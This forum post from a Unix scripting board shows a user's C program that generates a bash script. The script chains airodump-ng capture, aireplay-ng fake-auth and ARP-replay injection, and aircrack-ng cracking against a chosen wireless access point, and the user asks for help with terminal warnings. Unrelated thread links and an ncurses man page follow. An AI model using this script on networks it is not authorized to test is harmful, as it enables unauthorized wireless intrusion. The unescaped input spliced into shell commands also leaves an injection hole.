Sponsored Content
Top Forums Shell Programming and Scripting scripting n00b question, please help :) Post 302295707 by beatzz on Monday 9th of March 2009 10:31:30 AM
Old 03-09-2009
Okay, so I edited my code to include your line of fprintf. Here it is. We are close to success, but not there yet.
Code:
#include<stdio.h>
#include<string.h>
void strip_newline(char *str,int size)
{
 int i;
 for(i=0;i<size;++i){
  if(str[i]=='\n'){
   str[i]='\0';
   return;
  }
 }
}
int main()
{
 char bssid[20];
 char essid[20];
 int channel;
 printf("AP BSSID:");
 fgets(bssid,20,stdin);
 strip_newline(bssid,20);
 printf("AP ESSID:");
 fgets(essid,20,stdin);
 strip_newline(essid,20);
 printf("AP CHANNEL:");
 scanf("%d",&channel);
 FILE *crackrocks;
 crackrocks=fopen("crackrocks-out","w");
 fprintf(crackrocks,"#!/bin/bash\n\nkonsole -e airodump-ng -c %d -d '%s' -w %s mon0 & \nkonsole -e aireplay-ng -1 0 -e '%s' -a %s -h 00:19:7E:71:C0:2D mon0 & \nkonsole -e aireplay-ng -3 -b %s -h 00:19:7E:71:C0:2D mon0 & \nkonsole -e aircrack-ng -z -b %s '%s'*.cap\nwait\n",channel,bssid,essid,essid,bssid,bssid,bssid,essid);
 fclose(crackrocks);
 getchar();
 return 0;
}

Now, this code compiles just fine using gcc. However, there is a flaw. When I execute the shell script generated by this program, I receive this error.
Code:
beatzz@hax0r:~/hack$ ./crackrocks-out
kdecore (KProcess): WARNING: _attachPty() 11
kdecore (KProcess): WARNING: _attachPty() 11
kdecore (KProcess): WARNING: _attachPty() 11
kdecore (KProcess): WARNING: _attachPty() 11
beatzz@hax0r:~/hack$

It dose accomplish my goal of opening multiple windows, but it still doesn't work right either.
 

10 More Discussions You Might Find Interesting

1. UNIX for Dummies Questions & Answers

OpenBSD N00b: HELP ME!!! AGGGH!!

Note: This is not meant to start a flamewar. I am looking for serious answers to questions regarding OpenBSD. I'm coming to OpenBSD from an eight year background in Linux (specifically various versions of RedHat and now Fedora Core 3). I have some experience with Solaris 8 and HP-UX 11/11i. I... (1 Reply)
Discussion started by: deckard
1 Replies

2. UNIX for Dummies Questions & Answers

Absolute n00b questions about Unix / Linux

Hi All, I have absolutely no experince with either one, and would LOVE to start from somewhere! So please guide me to some web sites (beside these great forums of course!) that I can obtain n00b information. (Books, links, resources, etc.) What software OS? should I begin with? I have heard... (2 Replies)
Discussion started by: CodeHunter
2 Replies

3. Shell Programming and Scripting

scripting question?

I am writing a backup script for AIX 5 and running into a problem where the output isn't being shown in the output log that is being created. Any ideas on how this would be corrected? I have included the script below. The only thing showing up in the file is listed below. I was hoping to capture... (2 Replies)
Discussion started by: justinburbridge
2 Replies

4. UNIX for Dummies Questions & Answers

N00b question on CPU % in top

I have a process in my TOP output that is consistantly at 97% usage. I have 16 CPUs on my box. So is the 97% the cumalative usage of all the CPUs or just one? (3 Replies)
Discussion started by: kskywr
3 Replies

5. UNIX for Dummies Questions & Answers

N00b In Need!

Howdy all, just joined the forums after finding them on a good ole' google search. very impressed from what i've seen so far! I'm pretty new to the world of Unix/Linux, have just had a change of job role and been thrown in at the deep end! I'm now working on an Oracle 9i database using HPUX... (1 Reply)
Discussion started by: davesimm
1 Replies

6. IP Networking

tcp n00b - can't ping router

please help! I have a sun blade with 2 x nics configured, both on different subnets. The eri0 interface (192.168.0.100) is connected to my router (192.168.0.1), but if i try to ping the router, it times out. any suggestions are welcome - i noticed the 2 mac addresses are the same, i've set... (7 Replies)
Discussion started by: badoshi
7 Replies

7. Shell Programming and Scripting

Shell Scripting n00b

Hey Guys! I was hoping for some help with a simple script I'm trying to use. I have the script set up to pull some simple information out of a database .txt file and sed it into a preexisting template for assignment cover letters. The problem seems to be someplace in the sed statement but I... (5 Replies)
Discussion started by: BFeicht
5 Replies

8. Shell Programming and Scripting

Unix Shell basic loop massive n00b

hey guys I would really appreciate some help, i need to do a project for a job that requires minimal UNIX scripting and im REALLY stuck basically Im stuck at what i believe is something really simple but i just dont have a clue how to do it efficiently and properly and i REALLY appreciate some... (16 Replies)
Discussion started by: thurft
16 Replies

9. Shell Programming and Scripting

Shell pipeline help for a n00b

I need to read input from a file, and make sure nothing prints after column 72. basically, ignore input after character 72 until the next newline character. Any help is appreciated. I have been searching forever! (10 Replies)
Discussion started by: Gbear
10 Replies

10. UNIX for Dummies Questions & Answers

FTP EOF n00b Question

Hi folks, can you help me decipher this? I know that ftp will accept input from all commands until it encounters EOF again but I don't quite make sense of what the entirety of the script is really trying to achieve. Many thanks. ftp -n someserver << EOF | head -20 user username@server... (2 Replies)
Discussion started by: verargulla
2 Replies
curs_addstr(3X) 														   curs_addstr(3X)

NAME
addstr, addnstr, waddstr, waddnstr, mvaddstr, mvaddnstr, mvwaddstr, mvwaddnstr - add a string of characters to a curses window and advance cursor SYNOPSIS
#include <curses.h> int addstr(const char *str); int addnstr(const char *str, int n); int waddstr(WINDOW *win, const char *str); int waddnstr(WINDOW *win, const char *str, int n); int mvaddstr(int y, int x, const char *str); int mvaddnstr(int y, int x, const char *str, int n); int mvwaddstr(WINDOW *win, int y, int x, const char *str); int mvwaddnstr(WINDOW *win, int y, int x, const char *str, int n); DESCRIPTION
These routines write the characters of the (null-terminated) character string str on the given window. It is similar to calling waddch once for each character in the string. The four routines with n as the last argument write at most n characters. If n is -1, then the entire string will be added, up to the maximum number of characters that will fit on the line, or until a terminating null is reached. RETURN VALUE
All routines return the integer ERR upon failure and OK on success (the SVr4 manuals specify only "an integer value other than ERR") upon successful completion. NOTES
Note that all of these routines except waddstr and waddnstr may be macros. PORTABILITY
All these entry points are described in the XSI Curses standard, Issue 4. The XSI errors EILSEQ and EOVERFLOW, associated with extended- level conformance, are not yet detected. SEE ALSO
curses(3X), curs_addch(3X). curs_addstr(3X)
All times are GMT -4. The time now is 09:40 PM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy